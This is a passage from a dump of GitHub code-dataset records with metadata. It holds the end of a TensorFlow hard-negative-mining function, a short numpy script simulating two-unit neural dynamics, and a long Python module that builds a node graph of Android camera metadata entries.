image_neg_conf = neg_conf[image_idx, :]\n        image_neg_mask = neg_mask[image_idx, :]\n        image_pos_mask = pos_mask[image_idx, :]\n        n_pos = tf.reduce_sum(tf.cast(image_pos_mask, tf.int32))\n        selected_neg_mask.append(OHNM_single_image(image_neg_conf, n_pos, image_neg_mask))\n\n    selected_neg_mask = tf.stack(selected_neg_mask)\n    return selected_neg_mask", "repo_name": "UpCoder/ISBI_LiverLesionDetection", "sub_path": "nets/OHEM.py", "file_name": "OHEM.py", "file_ext": "py", "file_size_in_byte": 1759, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "config.max_neg_pos_ratio", "line_number": 16, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "tensorflow.cond", "line_number": 21, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 22, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.minimum", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.boolean_mask", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.nn.top_k", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow.logical_and", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.zeros_like", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.cond", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_sum", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.cast", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 48, "usage_type": "attribute"}, {"api_name": "tensorflow.stack", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "31904722841", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\ntau_m = 0.020   # ms\ntau_z = 0.050  # ms\n\ndt = 0.001\nN = 2\n\n\nx = np.array((1.0, 0))\nz = np.array((0.0, 0.0))\nw = np.array(([0, 1.0], [1.0, 0]))\ninput = 1\n\nx_history = []\nz_history = []\n\nk = 1.0\ndef function(x):\n    return 1 / (1 + np.exp(-k * x))\n\nfor i in range(10):\n    within_activity = np.dot(w, z)\n    # x += (dt / tau_m) * (function(within_activity - input) - x)\n    increase = (dt / tau_z) * (x - z)\n    print(increase)\n    z += increase\n\n    x_history.append(np.copy(x))\n    z_history.append(np.copy(z))\n\nprint(x)\nprint(z)\n# Plot the result\nx_history = np.array(x_history)\nz_history = np.array(z_history)\nfig = plt.figure(figsize=(16, 12))\nax1 = fig.add_subplot(121)\nax2 = fig.add_subplot(122)\n\nfor index, x_plot in enumerate(x_history.T):\n    ax1.plot(x_plot, label=str(index))\n\nfor index, z_plot in enumerate(z_history.T):\n    ax2.plot(z_plot,label=str(index))\n\n\nax1.set_ylim([0, 1.1])\nax2.set_ylim([0, 1.1])\nax1.legend()\nax2.legend()\nplt.show()", "repo_name": "h-mayorquin/attractor_sequences", "sub_path": "charity.py", "file_name": "charity.py", "file_ext": "py", "file_size_in_byte": 1029, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}]}
{"seq_id": "36895571362", "text": "import sys\nimport itertools\nfrom collections import OrderedDict\n\nclass Node(object):\n  \"\"\"\n  Base class for most nodes that are part of the Metadata graph.\n\n  Attributes (Read-Only):\n    parent: An edge to a parent Node.\n    name: A string describing the name, usually but not always the 'name'\n          attribute of the corresponding XML node.\n  \"\"\"\n\n  def __init__(self):\n    self._parent = None\n    self._name = None\n\n  @property\n  def parent(self):\n    return self._parent\n\n  @property\n  def name(self):\n    return self._name\n\n  def find_all(self, pred):\n    \"\"\"\n    Find all descendants that match the predicate.\n\n    Args:\n      pred: a predicate function that acts as a filter for a Node\n\n    Yields:\n      A sequence of all descendants for which pred(node) is true,\n      in a pre-order visit order.\n    \"\"\"\n    if pred(self):\n      yield self\n\n    if self._get_children() is None:\n      return\n\n    for i in self._get_children():\n      for j in i.find_all(pred):\n        yield j\n\n  def find_first(self, pred):\n    \"\"\"\n    Find the first descendant that matches the predicate.\n\n    Args:\n      pred: a predicate function that acts as a filter for a Node\n\n    Returns:\n      The first Node from find_all(pred), or None if there were no results.\n    \"\"\"\n    for i in self.find_all(pred):\n      return i\n\n    return None\n\n  def find_parent_first(self, pred):\n    \"\"\"\n    Find the first ancestor that matches the predicate.\n\n    Args:\n      pred: A predicate function that acts as a filter for a Node\n\n    Returns:\n      The first ancestor closest to the node for which pred(node) is true.\n    \"\"\"\n    for i in self.find_parents(pred):\n      return i\n\n    return None\n\n  def find_parents(self, pred):\n    \"\"\"\n    Find all ancestors that match the predicate.\n\n    Args:\n      pred: A predicate function that acts as a filter for a Node\n\n    Yields:\n      A sequence of all ancestors (closest to furthest) from the node,\n      where pred(node) is true.\n    \"\"\"\n    parent = self.parent\n\n    while parent is not None:\n      if pred(parent):\n        yield parent\n      parent = parent.parent\n\n  def sort_children(self):\n    \"\"\"\n    Sorts the immediate children in-place.\n    \"\"\"\n    self._sort_by_name(self._children)\n\n  def _sort_by_name(self, what):\n    what.sort(key=lambda x: x.name)\n\n  def _get_name(self):\n    return lambda x: x.name\n\n  # Iterate over all children nodes. None when node doesn't support children.\n  def _get_children(self):\n    return (i for i in self._children)\n\n  def _children_name_map_matching(self, match=lambda x: True):\n    d = {}\n    for i in self._get_children():\n      if match(i):\n        d[i.name] = i\n    return d\n\n  @staticmethod\n  def _dictionary_by_name(values):\n    d = OrderedDict()\n    for i in values:\n      d[i.name] = i\n\n    return d\n\n  def validate_tree(self):\n    \"\"\"\n    Sanity check the tree recursively, ensuring for a node n, all children's\n    parents are also n.\n\n    Returns:\n      True if validation succeeds, False otherwise.\n    \"\"\"\n    succ = True\n    children = self._get_children()\n    if children is None:\n      return True\n\n    for child in self._get_children():\n      if child.parent != self:\n        print >> sys.stderr, (\"ERROR: Node '%s' doesn't match the parent\" +    \\\n                             \"(expected: %s, actual %s)\")                      \\\n                             %(child, self, child.parent)\n        succ = False\n\n      succ = child.validate_tree() and succ\n\n    return succ\n\n  def __str__(self):\n    return \"<%s name='%s'>\" %(self.__class__, self.name)\n\nclass Metadata(Node):\n  \"\"\"\n  A node corresponding to a <metadata> entry.\n\n  Attributes (Read-Only):\n    parent: An edge to the parent Node. This is always None for Metadata.\n    outer_namespaces: A sequence of immediate OuterNamespace children.\n    tags: A sequence of all Tag instances available in the graph.\n    types: An iterable of all Typedef instances available in the graph.\n  \"\"\"\n\n  def __init__(self):\n    \"\"\"\n    Initialize with no children. Use insert_* functions and then\n    construct_graph() to build up the Metadata from some source.\n    \"\"\"\n\n# Private\n    self._entries = []\n    # kind => { name => entry }\n    self._entry_map = { 'static': {}, 'dynamic': {}, 'controls': {} }\n    self._entries_ordered = [] # list of ordered Entry/Clone instances\n    self._clones = []\n\n# Public (Read Only)\n    self._parent = None\n    self._outer_namespaces = None\n    self._tags = []\n    self._types = []\n\n  @property\n  def outer_namespaces(self):\n    if self._outer_namespaces is None:\n      return None\n    else:\n      return (i for i in self._outer_namespaces)\n\n  @property\n  def tags(self):\n    return (i for i in self._tags)\n\n  @property\n  def types(self):\n    return (i for i in self._types)\n\n  def _get_properties(self):\n\n    for i in self._entries:\n      yield i\n\n    for i in self._clones:\n      yield i\n\n  def insert_tag(self, tag, description=\"\"):\n    \"\"\"\n    Insert a tag into the metadata.\n\n    Args:\n      tag: A string identifier for a tag.\n      description: A string description for a tag.\n\n    Example:\n      metadata.insert_tag(\"BC\", \"Backwards Compatibility for old API\")\n\n    Remarks:\n      Subsequent calls to insert_tag with the same tag are safe (they will\n      be ignored).\n    \"\"\"\n    tag_ids = [tg.name for tg in self.tags if tg.name == tag]\n    if not tag_ids:\n      self._tags.append(Tag(tag, self, description))\n\n  def insert_type(self, type_name, type_selector=\"typedef\", **kwargs):\n    \"\"\"\n    Insert a type into the metadata.\n\n    Args:\n      type_name: A type's name\n      type_selector: The selector for the type, e.g. 'typedef'\n\n    Args (if type_selector == 'typedef'):\n      languages: A map of 'language name' -> 'fully qualified class path'\n\n    Example:\n      metadata.insert_type('rectangle', 'typedef',\n                           { 'java': 'android.graphics.Rect' })\n\n    Remarks:\n      Subsequent calls to insert_type with the same type name are safe (they\n      will be ignored)\n    \"\"\"\n\n    if type_selector != 'typedef':\n      raise ValueError(\"Unsupported type_selector given \" + type_selector)\n\n    type_names = [tp.name for tp in self.types if tp.name == tp]\n    if not type_names:\n      self._types.append(Typedef(type_name, self, kwargs.get('languages')))\n\n  def insert_entry(self, entry):\n    \"\"\"\n    Insert an entry into the metadata.\n\n    Args:\n      entry: A key-value dictionary describing an entry. Refer to\n             Entry#__init__ for the keys required/optional.\n\n    Remarks:\n      Subsequent calls to insert_entry with the same entry+kind name are safe\n      (they will be ignored).\n    \"\"\"\n    e = Entry(**entry)\n    self._entries.append(e)\n    self._entry_map[e.kind][e.name] = e\n    self._entries_ordered.append(e)\n\n  def insert_clone(self, clone):\n    \"\"\"\n    Insert a clone into the metadata.\n\n    Args:\n      clone: A key-value dictionary describing a clone. Refer to\n            Clone#__init__ for the keys required/optional.\n\n    Remarks:\n      Subsequent calls to insert_clone with the same clone+kind name are safe\n      (they will be ignored). Also the target entry need not be inserted\n      ahead of the clone entry.\n    \"\"\"\n    # figure out corresponding entry later. allow clone insert, entry insert\n    entry = None\n    c = Clone(entry, **clone)\n    self._entry_map[c.kind][c.name] = c\n    self._clones.append(c)\n    self._entries_ordered.append(c)\n\n  def prune_clones(self):\n    \"\"\"\n    Remove all clones that don't point to an existing entry.\n\n    Remarks:\n      This should be called after all insert_entry/insert_clone calls have\n      finished.\n    \"\"\"\n    remove_list = []\n    for p in self._clones:\n      if p.entry is None:\n        remove_list.append(p)\n\n    for p in remove_list:\n\n      # remove from parent's entries list\n      if p.parent is not None:\n        p.parent._entries.remove(p)\n      # remove from parents' _leafs list\n      for ancestor in p.find_parents(lambda x: not isinstance(x, Metadata)):\n        ancestor._leafs.remove(p)\n\n      # remove from global list\n      self._clones.remove(p)\n      self._entry_map[p.kind].pop(p.name)\n      self._entries_ordered.remove(p)\n\n\n  # After all entries/clones are inserted,\n  # invoke this to generate the parent/child node graph all these objects\n  def construct_graph(self):\n    \"\"\"\n    Generate the graph recursively, after which all Entry nodes will be\n    accessible recursively by crawling through the outer_namespaces sequence.\n\n    Remarks:\n      This is safe to be called multiple times at any time. It should be done at\n      least once or there will be no graph.\n    \"\"\"\n    self.validate_tree()\n    self._construct_tags()\n    self.validate_tree()\n    self._construct_types()\n    self.validate_tree()\n    self._construct_clones()\n    self.validate_tree()\n    self._construct_outer_namespaces()\n    self.validate_tree()\n\n  def _construct_tags(self):\n    tag_dict = self._dictionary_by_name(self.tags)\n    for p in self._get_properties():\n      p._tags = []\n      for tag_id in p._tag_ids:\n        tag = tag_dict.get(tag_id)\n\n        if tag not in p._tags:\n          p._tags.append(tag)\n\n        if p not in tag.entries:\n          tag._entries.append(p)\n\n  def _construct_types(self):\n    type_dict = self._dictionary_by_name(self.types)\n    for p in self._get_properties():\n      if p._type_name:\n        type_node = type_dict.get(p._type_name)\n        p._typedef = type_node\n\n        if p not in type_node.entries:\n          type_node._entries.append(p)\n\n  def _construct_clones(self):\n    for p in self._clones:\n      target_kind = p.target_kind\n      target_entry = self._entry_map[target_kind].get(p.name)\n      p._entry = target_entry\n\n      # should not throw if we pass validation\n      # but can happen when importing obsolete CSV entries\n      if target_entry is None:\n        print >> sys.stderr, (\"WARNING: Clone entry '%s' target kind '%s'\" +   \\\n                              \" has no corresponding entry\")                   \\\n                             %(p.name, p.target_kind)\n\n  def _construct_outer_namespaces(self):\n\n    if self._outer_namespaces is None: #the first time this runs\n      self._outer_namespaces = []\n\n    root = self._dictionary_by_name(self._outer_namespaces)\n    for ons_name, ons in root.iteritems():\n      ons._leafs = []\n\n    for p in self._entries_ordered:\n      ons_name = p.get_outer_namespace()\n      ons = root.get(ons_name, OuterNamespace(ons_name, self))\n      root[ons_name] = ons\n\n      if p not in ons._leafs:\n        ons._leafs.append(p)\n\n    for ons_name, ons in root.iteritems():\n\n      ons.validate_tree()\n\n      self._construct_sections(ons)\n\n      if ons not in self._outer_namespaces:\n        self._outer_namespaces.append(ons)\n\n      ons.validate_tree()\n\n  def _construct_sections(self, outer_namespace):\n\n    sections_dict = self._dictionary_by_name(outer_namespace.sections)\n    for sec_name, sec in sections_dict.iteritems():\n      sec._leafs = []\n      sec.validate_tree()\n\n    for p in outer_namespace._leafs:\n      does_exist = sections_dict.get(p.get_section())\n\n      sec = sections_dict.get(p.get_section(), \\\n          Section(p.get_section(), outer_namespace))\n      sections_dict[p.get_section()] = sec\n\n      sec.validate_tree()\n\n      if p not in sec._leafs:\n        sec._leafs.append(p)\n\n    for sec_name, sec in sections_dict.iteritems():\n\n      if not sec.validate_tree():\n        print >> sys.stderr, (\"ERROR: Failed to validate tree in \" +           \\\n                             \"construct_sections (start), with section = '%s'\")\\\n                             %(sec)\n\n      self._construct_kinds(sec)\n\n      if sec not in outer_namespace.sections:\n        outer_namespace._sections.append(sec)\n\n      if not sec.validate_tree():\n        print >> sys.stderr, (\"ERROR: Failed to validate tree in \" +           \\\n                              \"construct_sections (end), with section = '%s'\") \\\n                             %(sec)\n\n  # 'controls', 'static' 'dynamic'. etc\n  def _construct_kinds(self, section):\n    for kind in section.kinds:\n      kind._leafs = []\n      section.validate_tree()\n\n    group_entry_by_kind = itertools.groupby(section._leafs, lambda x: x.kind)\n    leaf_it = ((k, g) for k, g in group_entry_by_kind)\n\n    # allow multiple kinds with the same name. merge if adjacent\n    # e.g. dynamic,dynamic,static,static,dynamic -> dynamic,static,dynamic\n    # this helps maintain ABI compatibility when adding an entry in a new kind\n    for idx, (kind_name, entry_it) in enumerate(leaf_it):\n      if idx >= len(section._kinds):\n        kind = Kind(kind_name, section)\n        section._kinds.append(kind)\n        section.validate_tree()\n\n      kind = section._kinds[idx]\n\n      for p in entry_it:\n        if p not in kind._leafs:\n          kind._leafs.append(p)\n\n    for kind in section._kinds:\n      kind.validate_tree()\n      self._construct_inner_namespaces(kind)\n      kind.validate_tree()\n      self._construct_entries(kind)\n      kind.validate_tree()\n\n      if not section.validate_tree():\n        print >> sys.stderr, (\"ERROR: Failed to validate tree in \" +           \\\n                             \"construct_kinds, with kind = '%s'\") %(kind)\n\n      if not kind.validate_tree():\n        print >> sys.stderr, (\"ERROR: Failed to validate tree in \" +           \\\n                              \"construct_kinds, with kind = '%s'\") %(kind)\n\n  def _construct_inner_namespaces(self, parent, depth=0):\n    #parent is InnerNamespace or Kind\n    ins_dict = self._dictionary_by_name(parent.namespaces)\n    for name, ins in ins_dict.iteritems():\n      ins._leafs = []\n\n    for p in parent._leafs:\n      ins_list = p.get_inner_namespace_list()\n\n      if len(ins_list) > depth:\n        ins_str = ins_list[depth]\n        ins = ins_dict.get(ins_str, InnerNamespace(ins_str, parent))\n        ins_dict[ins_str] = ins\n\n        if p not in ins._leafs:\n          ins._leafs.append(p)\n\n    for name, ins in ins_dict.iteritems():\n      ins.validate_tree()\n      # construct children INS\n      self._construct_inner_namespaces(ins, depth + 1)\n      ins.validate_tree()\n      # construct children entries\n      self._construct_entries(ins, depth + 1)\n\n      if ins not in parent.namespaces:\n        parent._namespaces.append(ins)\n\n      if not ins.validate_tree():\n        print >> sys.stderr, (\"ERROR: Failed to validate tree in \" +           \\\n                              \"construct_inner_namespaces, with ins = '%s'\")   \\\n                             %(ins)\n\n  # doesnt construct the entries, so much as links them\n  def _construct_entries(self, parent, depth=0):\n    #parent is InnerNamespace or Kind\n    entry_dict = self._dictionary_by_name(parent.entries)\n    for p in parent._leafs:\n      ins_list = p.get_inner_namespace_list()\n\n      if len(ins_list) == depth:\n        entry = entry_dict.get(p.name, p)\n        entry_dict[p.name] = entry\n\n    for name, entry in entry_dict.iteritems():\n\n      old_parent = entry.parent\n      entry._parent = parent\n\n      if entry not in parent.entries:\n        parent._entries.append(entry)\n\n      if old_parent is not None and old_parent != parent:\n        print >> sys.stderr, (\"ERROR: Parent changed from '%s' to '%s' for \" + \\\n                              \"entry '%s'\")                                    \\\n                             %(old_parent.name, parent.name, entry.name)\n\n  def _get_children(self):\n    if self.outer_namespaces is not None:\n      for i in self.outer_namespaces:\n        yield i\n\n    if self.tags is not None:\n      for i in self.tags:\n        yield i\n\nclass Tag(Node):\n  \"\"\"\n  A tag Node corresponding to a top-level <tag> element.\n\n  Attributes (Read-Only):\n    name: alias for id\n    id: The name of the tag, e.g. for <tag id=\"BC\"/> id = 'BC'\n    description: The description of the tag, the contents of the <tag> element.\n    parent: An edge to the parent, which is always the Metadata root node.\n    entries: A sequence of edges to entries/clones that are using this Tag.\n  \"\"\"\n  def __init__(self, name, parent, description=\"\"):\n    self._name        = name  # 'id' attribute in XML\n    self._id          = name\n    self._description = description\n    self._parent      = parent\n\n    # all entries that have this tag, including clones\n    self._entries     = []  # filled in by Metadata#construct_tags\n\n  @property\n  def id(self):\n    return self._id\n\n  @property\n  def description(self):\n    return self._description\n\n  @property\n  def entries(self):\n    return (i for i in self._entries)\n\n  def _get_children(self):\n    return None\n\nclass Typedef(Node):\n  \"\"\"\n  A typedef Node corresponding to a <typedef> element under a top-level <types>.\n\n  Attributes (Read-Only):\n    name: The name of this typedef as a string.\n    languages: A dictionary of 'language name' -> 'fully qualified class'.\n    parent: An edge to the parent, which is always the Metadata root node.\n    entries: An iterable over all entries which reference this typedef.\n  \"\"\"\n  def __init__(self, name, parent, languages=None):\n    self._name        = name\n    self._parent      = parent\n\n    # all entries that have this typedef\n    self._entries     = []  # filled in by Metadata#construct_types\n\n    self._languages   = languages or {}\n\n  @property\n  def languages(self):\n    return self._languages\n\n  @property\n  def entries(self):\n    return (i for i in self._entries)\n\n  def _get_children(self):\n    return None\n\nclass OuterNamespace(Node):\n  \"\"\"\n  A node corresponding to a <namespace> element under <metadata>\n\n  Attributes (Read-Only):\n    name: The name attribute of the <namespace name=\"foo\"> element.\n    parent: An edge to the parent, which is always the Metadata root node.\n    sections: A sequence of Section children.\n  \"\"\"\n  def __init__(self, name, parent, sections=[]):\n    self._name = name\n    self._parent = parent # MetadataSet\n    self._sections = sections[:]\n    self._leafs = []\n\n    self._children = self._sections\n\n  @property\n  def sections(self):\n    return (i for i in self._sections)\n\nclass Section(Node):\n  \"\"\"\n  A node corresponding to a <section> element under <namespace>\n\n  Attributes (Read-Only):\n    name: The name attribute of the <section name=\"foo\"> element.\n    parent: An edge to the parent, which is always an OuterNamespace instance.\n    description: A string description of the section, or None.\n    kinds: A sequence of Kind children.\n    merged_kinds: A sequence of virtual Kind children,\n                  with each Kind's children merged by the kind.name\n  \"\"\"\n  def __init__(self, name, parent, description=None, kinds=[]):\n    self._name = name\n    self._parent = parent\n    self._description = description\n    self._kinds = kinds[:]\n\n    self._leafs = []\n\n\n  @property\n  def description(self):\n    return self._description\n\n  @property\n  def kinds(self):\n    return (i for i in self._kinds)\n\n  def sort_children(self):\n    self.validate_tree()\n    # order is always controls,static,dynamic\n    find_child = lambda x: [i for i in self._get_children() if i.name == x]\n    new_lst = find_child('controls') \\\n            + find_child('static')   \\\n            + find_child('dynamic')\n    self._kinds = new_lst\n    self.validate_tree()\n\n  def _get_children(self):\n    return (i for i in self.kinds)\n\n  @property\n  def merged_kinds(self):\n\n    def aggregate_by_name(acc, el):\n      existing = [i for i in acc if i.name == el.name]\n      if existing:\n        k = existing[0]\n      else:\n        k = Kind(el.name, el.parent)\n        acc.append(k)\n\n      k._namespaces.extend(el._namespaces)\n      k._entries.extend(el._entries)\n\n      return acc\n\n    new_kinds_lst = reduce(aggregate_by_name, self.kinds, [])\n\n    for k in new_kinds_lst:\n      yield k\n\n  def combine_kinds_into_single_node(self):\n    r\"\"\"\n    Combines the section's Kinds into a single node.\n\n    Combines all the children (kinds) of this section into a single\n    virtual Kind node.\n\n    Returns:\n      A new Kind node that collapses all Kind siblings into one, combining\n      all their children together.\n\n      For example, given self.kinds == [ x, y ]\n\n        x  y               z\n      / |  | \\    -->   / | | \\\n      a b  c d          a b c d\n\n      a new instance z is returned in this example.\n\n    Remarks:\n      The children of the kinds are the same references as before, that is\n      their parents will point to the old parents and not to the new parent.\n    \"\"\"\n    combined = Kind(name=\"combined\", parent=self)\n\n    for k in self._get_children():\n      combined._namespaces.extend(k.namespaces)\n      combined._entries.extend(k.entries)\n\n    return combined\n\nclass Kind(Node):\n  \"\"\"\n  A node corresponding to one of: <static>,<dynamic>,<controls> under a\n  <section> element.\n\n  Attributes (Read-Only):\n    name: A string which is one of 'static', 'dynamic, or 'controls'.\n    parent: An edge to the parent, which is always a Section  instance.\n    namespaces: A sequence of InnerNamespace children.\n    entries: A sequence of Entry/Clone children.\n    merged_entries: A sequence of MergedEntry virtual nodes from entries\n  \"\"\"\n  def __init__(self, name, parent):\n    self._name = name\n    self._parent = parent\n    self._namespaces = []\n    self._entries = []\n\n    self._leafs = []\n\n  @property\n  def namespaces(self):\n    return self._namespaces\n\n  @property\n  def entries(self):\n    return self._entries\n\n  @property\n  def merged_entries(self):\n    for i in self.entries:\n      yield i.merge()\n\n  def sort_children(self):\n    self._namespaces.sort(key=self._get_name())\n    self._entries.sort(key=self._get_name())\n\n  def _get_children(self):\n    for i in self.namespaces:\n      yield i\n    for i in self.entries:\n      yield i\n\n  def combine_children_by_name(self):\n    r\"\"\"\n    Combine multiple children with the same name into a single node.\n\n    Returns:\n      A new Kind where all of the children with the same name were combined.\n\n      For example:\n\n      Given a Kind k:\n\n              k\n            / | \\\n            a b c\n            | | |\n            d e f\n\n      a.name == \"foo\"\n      b.name == \"foo\"\n      c.name == \"bar\"\n\n      The returned Kind will look like this:\n\n             k'\n            /  \\\n            a' c'\n          / |  |\n          d e  f\n\n    Remarks:\n      This operation is not recursive. To combine the grandchildren and other\n      ancestors, call this method on the ancestor nodes.\n    \"\"\"\n    return Kind._combine_children_by_name(self, new_type=type(self))\n\n  # new_type is either Kind or InnerNamespace\n  @staticmethod\n  def _combine_children_by_name(self, new_type):\n    new_ins_dict = OrderedDict()\n    new_ent_dict = OrderedDict()\n\n    for ins in self.namespaces:\n      new_ins = new_ins_dict.setdefault(ins.name,\n                                        InnerNamespace(ins.name, parent=self))\n      new_ins._namespaces.extend(ins.namespaces)\n      new_ins._entries.extend(ins.entries)\n\n    for ent in self.entries:\n      new_ent = new_ent_dict.setdefault(ent.name,\n                                        ent.merge())\n\n    kind = new_type(self.name, self.parent)\n    kind._namespaces = new_ins_dict.values()\n    kind._entries = new_ent_dict.values()\n\n    return kind\n\nclass InnerNamespace(Node):\n  \"\"\"\n  A node corresponding to a <namespace> which is an ancestor of a Kind.\n  These namespaces may have other namespaces recursively, or entries as leafs.\n\n  Attributes (Read-Only):\n    name: Name attribute from the element, e.g. <namespace name=\"foo\"> -> 'foo'\n    parent: An edge to the parent, which is an InnerNamespace or a Kind.\n    namespaces: A sequence of InnerNamespace children.\n    entries: A sequence of Entry/Clone children.\n    merged_entries: A sequence of MergedEntry virtual nodes from entries\n  \"\"\"\n  def __init__(self, name, parent):\n    self._name        = name\n    self._parent      = parent\n    self._namespaces  = []\n    self._entries     = []\n    self._leafs       = []\n\n  @property\n  def namespaces(self):\n    return self._namespaces\n\n  @property\n  def entries(self):\n    return self._entries\n\n  @property\n  def merged_entries(self):\n    for i in self.entries:\n      yield i.merge()\n\n  def sort_children(self):\n    self._namespaces.sort(key=self._get_name())\n    self._entries.sort(key=self._get_name())\n\n  def _get_children(self):\n    for i in self.namespaces:\n      yield i\n    for i in self.entries:\n      yield i\n\n  def combine_children_by_name(self):\n    r\"\"\"\n    Combine multiple children with the same name into a single node.\n\n    Returns:\n      A new InnerNamespace where all of the children with the same name were\n      combined.\n\n      For example:\n\n      Given an InnerNamespace i:\n\n              i\n            / | \\\n            a b c\n            | | |\n            d e f\n\n      a.name == \"foo\"\n      b.name == \"foo\"\n      c.name == \"bar\"\n\n      The returned InnerNamespace will look like this:\n\n             i'\n            /  \\\n            a' c'\n          / |  |\n          d e  f\n\n    Remarks:\n      This operation is not recursive. To combine the grandchildren and other\n      ancestors, call this method on the ancestor nodes.\n    \"\"\"\n    return Kind._combine_children_by_name(self, new_type=type(self))\n\nclass EnumValue(Node):\n  \"\"\"\n  A class corresponding to a <value> element within an <enum> within an <entry>.\n\n  Attributes (Read-Only):\n    name: A string,                 e.g. 'ON' or 'OFF'\n    id: An optional numeric string, e.g. '0' or '0xFF'\n    optional: A boolean\n    notes: A string describing the notes, or None.\n    parent: An edge to the parent, always an Enum instance.\n  \"\"\"\n  def __init__(self, name, parent, id=None, optional=False, notes=None):\n    self._name = name                    # str, e.g. 'ON' or 'OFF'\n    self._id = id                        # int, e.g. '0'\n    self._optional = optional            # bool\n    self._notes = notes                  # None or str\n    self._parent = parent\n\n  @property\n  def id(self):\n    return self._id\n\n  @property\n  def optional(self):\n    return self._optional\n\n  @property\n  def notes(self):\n    return self._notes\n\n  def _get_children(self):\n    return None\n\nclass Enum(Node):\n  \"\"\"\n  A class corresponding to an <enum> element within an <entry>.\n\n  Attributes (Read-Only):\n    parent: An edge to the parent, always an Entry instance.\n    values: A sequence of EnumValue children.\n    has_values_with_id: A boolean representing if any of the children have a\n        non-empty id property.\n  \"\"\"\n  def __init__(self, parent, values, ids={}, optionals=[], notes={}):\n    self._values =                                                             \\\n      [ EnumValue(val, self, ids.get(val), val in optionals, notes.get(val))   \\\n        for val in values ]\n\n    self._parent = parent\n    self._name = None\n\n  @property\n  def values(self):\n    return (i for i in self._values)\n\n  @property\n  def has_values_with_id(self):\n    return bool(any(i for i in self.values if i.id))\n\n  def _get_children(self):\n    return (i for i in self._values)\n\nclass Entry(Node):\n  \"\"\"\n  A node corresponding to an <entry> element.\n\n  Attributes (Read-Only):\n    parent: An edge to the parent node, which is an InnerNamespace or Kind.\n    name: The fully qualified name string, e.g. 'android.shading.mode'\n    name_short: The name attribute from <entry name=\"mode\">, e.g. mode\n    type: The type attribute from <entry type=\"bar\">\n    kind: A string ('static', 'dynamic', 'controls') corresponding to the\n          ancestor Kind#name\n    container: The container attribute from <entry container=\"array\">, or None.\n    container_sizes: A sequence of size strings or None if container is None.\n    enum: An Enum instance if the enum attribute is true, None otherwise.\n    visibility: The visibility of this entry ('system', 'hidden', 'public')\n                across the system. System entries are only visible in native code\n                headers. Hidden entries are marked @hide in managed code, while\n                public entries are visible in the Android SDK.\n    applied_visibility: As visibility, but always valid, defaulting to 'system'\n                        if no visibility is given for an entry.\n    optional: a bool representing the optional attribute, which denotes the entry\n              is required for hardware level full devices, but optional for other\n              hardware levels.  None if not present.\n    applied_optional: As optional but always valid, defaulting to False if no\n                      optional attribute is present.\n    tuple_values: A sequence of strings describing the tuple values,\n                  None if container is not 'tuple'.\n    description: A string description, or None.\n    range: A string range, or None.\n    units: A string units, or None.\n    tags: A sequence of Tag nodes associated with this Entry.\n    type_notes: A string describing notes for the type, or None.\n    typedef: A Typedef associated with this Entry, or None.\n\n  Remarks:\n    Subclass Clone can be used interchangeable with an Entry,\n    for when we don't care about the underlying type.\n\n    parent and tags edges are invalid until after Metadata#construct_graph\n    has been invoked.\n  \"\"\"\n  def __init__(self, **kwargs):\n    \"\"\"\n    Instantiate a new Entry node.\n\n    Args:\n      name: A string with the fully qualified name, e.g. 'android.shading.mode'\n      type: A string describing the type, e.g. 'int32'\n      kind: A string describing the kind, e.g. 'static'\n\n    Args (if container):\n      container: A string describing the container, e.g. 'array' or 'tuple'\n      container_sizes: A list of string sizes if a container, or None otherwise\n\n    Args (if container is 'tuple'):\n      tuple_values: A list of tuple values, e.g. ['width', 'height']\n\n    Args (if the 'enum' attribute is true):\n      enum: A boolean, True if this is an enum, False otherwise\n      enum_values: A list of value strings, e.g. ['ON', 'OFF']\n      enum_optionals: A list of optional enum values, e.g. ['OFF']\n      enum_notes: A dictionary of value->notes strings.\n      enum_ids: A dictionary of value->id strings.\n\n    Args (optional):\n      description: A string with a description of the entry.\n      range: A string with the range of the values of the entry, e.g. '>= 0'\n      units: A string with the units of the values, e.g. 'inches'\n      notes: A string with the notes for the entry\n      tag_ids: A list of tag ID strings, e.g. ['BC', 'V1']\n      type_notes: A string with the notes for the type\n      visibility: A string describing the visibility, eg 'system', 'hidden',\n                  'public'\n      optional: A bool to mark whether 